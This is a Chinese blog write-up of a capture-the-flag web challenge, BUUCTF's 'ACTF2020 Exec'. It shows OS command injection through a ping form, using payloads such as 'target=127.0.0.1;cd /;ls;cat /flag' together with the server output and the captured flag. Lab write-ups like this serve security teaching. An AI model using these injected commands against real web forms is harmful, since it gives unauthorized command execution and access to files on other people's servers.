




BUUCTF: [ACTF2020 新生赛]Exec

原创

末初  于 2020-10-20 19:09:09 发布  153  收藏

分类专栏: [CTF_WEB_Writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/mochu7777777/article/details/109187007>

版权



[CTF_WEB_Writeup](#) 专栏收录该内容

159 篇文章 31 订阅

订阅专栏

题目地址: [https://buuoj.cn/challenges#\[ACTF2020%E6%B0%E7%94%9F%E8%B5%9B\]Exec](https://buuoj.cn/challenges#[ACTF2020%E6%B0%E7%94%9F%E8%B5%9B]Exec)

Challenge

2270 Solves



[ACTF2020 新生赛]Exec 1

感谢 Y1ng 师傅供题。

Instance Info

Remaining Time: 10465s

Lan Domain: 4503-eda29a81-1410-45c6-
b619-14d26ec896bb

http://eda29a81-1410-45c6-
b619-14d26ec896bb.node3.buuoj.cn

Destroy this instance

Renew this instance

Flag

Submit

<https://blog.csdn.net/mochu7777777>

PING

请输入需要ping的地址

PING

PING 127.0.0.1 (127.0.0.1): 56 data bytes

The screenshot shows the browser's developer tools network tab. The top bar includes icons for View, Console, Debugger, Network, Styles, Performance, Memory, Storage, Accessibility, and Applications. Below this is a menu with options: Encryption, Encoding, SQL, XSS, and Other. On the left, there are buttons for 'Load URL', 'Split URL', and 'Execute'. The main area shows a request to 'http://eda29a81-1410-45c6-b619-14d26ec896bb.node3.buuoj.cn/'. Below the URL, there are checkboxes for 'Post data', 'Referer', 'User Agent', and 'Cookies', along with a 'Clear All' link. The request body is visible as 'target=127.0.0.1'.

<https://blog.csdn.net/mochu7777777>

命令执行，使用 ; 或者 | 进行注入

PING

请输入需要ping的地址

PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
www-data
index.php
/var/www/html
```

The screenshot shows the Burp Suite interface. At the top, there are navigation icons for View, Console, Debugger, Network, Style Editor, Performance, Memory, Storage, No Proxy, Applications, and HackBar. Below this is a menu bar with Encryption, Encoding, SQL, XSS, and Other. On the left, there are buttons for Load URL, Split URL, and Execute. The main area contains a URL field with the value `http://eda29a81-1410-45c6-b619-14d26ec896bb.node3.buuoj.cn/`. Below the URL field, there are checkboxes for Post data (checked), Referer, User Agent, and Cookies, along with a Clear All button. The request body field contains the payload `target=127.0.0.1;whoami;ls;pwd`. In the bottom right corner, there is a watermark link: <https://blog.csdn.net/mochu7777777>

在根目录发现flag，直接读取


PING

请输入需要ping的地址


PING

```
PING 127.0.0.1 (127.0.0.1): 56 data bytes
bin
dev
etc
flag
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
flag{ee9e0d54-374e-4436-b59d-14198eda6484}
```

Encryption ▾ Encoding ▾ SQL ▾ XSS ▾ Other ▾

 Load URL

 Split URL

 Execute

http://eda29a81-1410-45c6-b619-14d26ec896bb.node3.buuoj.cn/

Post data Referer User Agent Cookies [Clear All](#)

target=127.0.0.1;cd /;ls;cat /flag

<https://blog.csdn.net/mochu7777777>